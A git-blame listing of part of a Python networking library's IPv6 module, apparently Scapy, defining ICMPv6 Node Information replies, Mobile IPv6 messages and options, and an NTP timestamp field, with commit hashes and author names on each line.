2435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while len(s) >= 20: # 4 + 16
2436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl = struct.unpack("!I", s[:4])[0]
2437c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ip  = inet_ntop(socket.AF_INET6, s[4:20])
2438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append((ttl, ip))
2439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s = s[20:]
2440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (3, res)
2441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 4: # IPv4 addresses with TTLs
2443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : get the real length
2444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
24450d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            while len(s) >= 8: # 4 + 4
2446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl = struct.unpack("!I", s[:4])[0]
2447c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ip  = inet_ntop(socket.AF_INET, s[4:8])
2448c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append((ttl, ip))
2449c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s = s[8:]
2450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (4, res)
2451c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : implement me and deal with real length
2453c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "", (0, s)
2454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2456c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "[]"
24580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2459d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(x, tuple) and len(x) == 2:
2460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            t, val = x
2461c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if t == 2: # DNS names
2462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl,l = val
2463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = dnsrepr2names(l)
2464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return "ttl:%d %s" % (ttl, ", ".join(l))
2465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif t == 3 or t == 4:
2466d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter                return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val)))
2467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return repr(val)
2468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return repr(x) # XXX should not happen
2469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# By default, sent responses have code set to 0 (successful)
24710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):
2472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - NOOP Reply"
2473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 140, icmp6types),
2474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code", 0, _nireply_code),
2475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortEnumField("qtype", 0, icmp6_niqtypes),
247777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("unused", 0, 10),
24780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    FlagsField("flags", 0, 6, "TACLSG"),
247977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    NonceField("nonce", None),
2480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIReplyDataField("data", None)]
2481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyName(ICMPv6NIReplyNOOP):
2483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Node Names"
2484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 2
2485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24860d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):
2487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - IPv6 addresses"
2488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 3
2489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24900d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):
2491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - IPv4 addresses"
2492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 4
2493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):
2495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Responder refuses to supply answer"
2496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    code = 1
2497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):
2499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Qtype unknown to the responder"
2500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    code = 2
2501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2502c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef _niquery_guesser(p):
25047b3e970663abd72697e17b70aba9943ae0dad404Phil    cls = conf.raw_layer
2505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = ord(p[0])
2506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if type == 139: # Node Info Query specific stuff
2507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if len(p) > 6:
2508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            qtype, = struct.unpack("!H", p[4:6])
2509c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = { 0: ICMPv6NIQueryNOOP,
2510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    2: ICMPv6NIQueryName,
2511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    3: ICMPv6NIQueryIPv6,
25127b3e970663abd72697e17b70aba9943ae0dad404Phil                    4: ICMPv6NIQueryIPv4 }.get(qtype, conf.raw_layer)
2513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    elif type == 140: # Node Info Reply specific stuff
2514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        code = ord(p[1])
2515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if code == 0:
2516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if len(p) > 6:
2517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                qtype, = struct.unpack("!H", p[4:6])
2518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = { 2: ICMPv6NIReplyName,
2519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        3: ICMPv6NIReplyIPv6,
2520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP)
2521c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif code == 1:
2522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = ICMPv6NIReplyRefuse
2523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif code == 2:
2524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = ICMPv6NIReplyUnknown
2525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return cls
2526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###             Mobile IPv6 (RFC 3775) and Nemo (RFC 3963)                ###
2531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 ICMPv6 related classes
2535c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6HAADRequest(_ICMPv6):
2537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Home Agent Address Discovery Request'
2538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 144, icmp6types),
2539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("R", 1, 1, {1: 'MR'}),
2543c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 15) ]
2544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2545c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)+self.payload.hashret()
2546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6HAADReply(_ICMPv6):
2548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Home Agent Address Discovery Reply'
2549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 145, icmp6types),
2550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("R", 1, 1, {1: 'MR'}),
2554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 15),
2555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6ListField('addresses', None) ]
2556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)+self.payload.hashret()
2558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, ICMPv6HAADRequest):
2561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 0
25620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        return self.id == other.id
2563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6MPSol(_ICMPv6):
2565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Mobile Prefix Solicitation'
2566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 146, icmp6types),
2567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("res", 0) ]
2571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def _hashret(self):
2572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)
2573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Mobile Prefix Advertisement'
2576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 147, icmp6types),
2577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
25800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}),
2581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 14) ]
2582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)
25840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return isinstance(other, ICMPv6MPSol)
2587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 Options classes
2589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mobopttypes = { 2: "Binding Refresh Advice",
2592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 3: "Alternate Care-of Address",
2593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 4: "Nonce Indices",
2594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 5: "Binding Authorization Data",
2595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 6: "Mobile Network Prefix (RFC3963)",
2596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 7: "Link-Layer Address (RFC4068)",
25970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                 8: "Mobile Node Identifier (RFC4283)",
2598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 9: "Mobility Message Authentication (RFC4285)",
2599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 10: "Replay Protection (RFC4285)",
2600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 11: "CGA Parameters Request (RFC4866)",
2601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 12: "CGA Parameters (RFC4866)",
2602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 13: "Signature (RFC4866)",
2603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 14: "Home Keygen Token (RFC4866)",
2604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 15: "Care-of Test Init (RFC4866)",
2605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 16: "Care-of Test (RFC4866)" }
2606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26080d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _MIP6OptAlign:
26090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    """ Mobile IPv6 options have alignment requirements of the form x*n+y.
26100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    This class is inherited by all MIPv6 options to help in computing the
26110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    required Padding for that option, i.e. the need for a Pad1 or PadN
26120d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    option before it. They only need to provide x and y as class
2613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    parameters. (x=0 and y=0 are used when no alignment is required)"""
2614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos):
2615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      x = self.x ; y = self.y
2616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      if x == 0 and y ==0:
2617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          return 0
2618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      delta = x*((curpos - y + x - 1)/x) + y - curpos
2619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      return delta
26200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptBRAdvice(_MIP6OptAlign, Packet):
26230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = 'Mobile IPv6 Option - Binding Refresh Advice'
2624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 2, _mobopttypes),
2625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 2),
26260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ShortField('rinter', 0) ]
2627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 2 ; y = 0# alignment requirement: 2n
2628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptAltCoA(_MIP6OptAlign, Packet):
2630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Alternate Care-of Address'
2631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 3, _mobopttypes),
2632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("acoa", "::") ]
2634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 6 # alignment requirement: 8n+6
2635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptNonceIndices(_MIP6OptAlign, Packet):
2637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Nonce Indices'
2638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 4, _mobopttypes),
2639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField('hni', 0),
2641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField('coni', 0) ]
2642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 2 ; y = 0 # alignment requirement: 2n
2643c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptBindingAuthData(_MIP6OptAlign, Packet):
2645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Binding Authorization Data'
2646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 5, _mobopttypes),
2647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField('authenticator', 0, 96) ]
2649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 2 # alignment requirement: 8n+2
2650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963
2652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'NEMO Option - Mobile Network Prefix'
2653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
26545bbe280843fec8d5955914c78f52cb9cef7d61a4Phil                    ByteField("olen", 18),
2655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("reserved", 0),
2656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
2657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix", "::") ]
2658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 4 # alignment requirement: 8n+4
2659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068
2661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Link-Layer Address (MH-LLA)"
2662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 7, _mobopttypes),
2663c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 7),
2664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("ocode", 2, _rfc4068_lla_optcode),
2665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("pad", 0),
2666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lla", ETHER_ANY) ] # Only support ethernet
2667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283
2670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Mobile Node Identifier"
2671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 8, _mobopttypes),
2672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="id", fmt="B",
2673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+1),
2674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("subtype", 1, {1: "NAI"}),
2675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("id", "",
2676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen-1) ]
2677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26790d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We only support decoding and basic build. Automatic HMAC computation is
26800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# too much work for our current needs. It is left to the user (I mean ...
2681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# you). --arno
2682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5)
2683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Mobility Message Authentication"
2684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 9, _mobopttypes),
2685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="authdata", fmt="B",
2686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+5),
2687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option",
2688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 2: "MN-AAA authentication mobility option"}),
2689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mspi", None),
2690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("authdata", "A"*12,
2691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen-5) ]
2692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 4 ; y = 1 # alignment requirement: 4n+1
2693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Extracted from RFC 1305 (NTP) :
26950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# NTP timestamps are represented as a 64-bit unsigned fixed-point number,
26960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# in seconds relative to 0h on 1 January 1900. The integer part is in the
2697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# first 32 bits and the fraction part in the last 32 bits.
2698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NTPTimestampField(LongField):
2699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x < ((50*31536000)<<32):
2701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "Some date a few decades ago (%d)" % x
2702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
27030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to
2704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # January 1st 1970 :
2705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        delta = -2209075761
2706c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        i = int(x >> 32)
2707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        j = float(x & 0xffffffff) * 2.0**-32
2708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res = i + j + delta
2709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        from time import strftime
2710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(res))
2711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s (%d)" % (t, x)
2713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6)
2715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Replay Protection"
2716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 10, _mobopttypes),
2717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 8),
2718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NTPTimestampField("timestamp", 0) ]
2719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 2 # alignment requirement: 8n+2
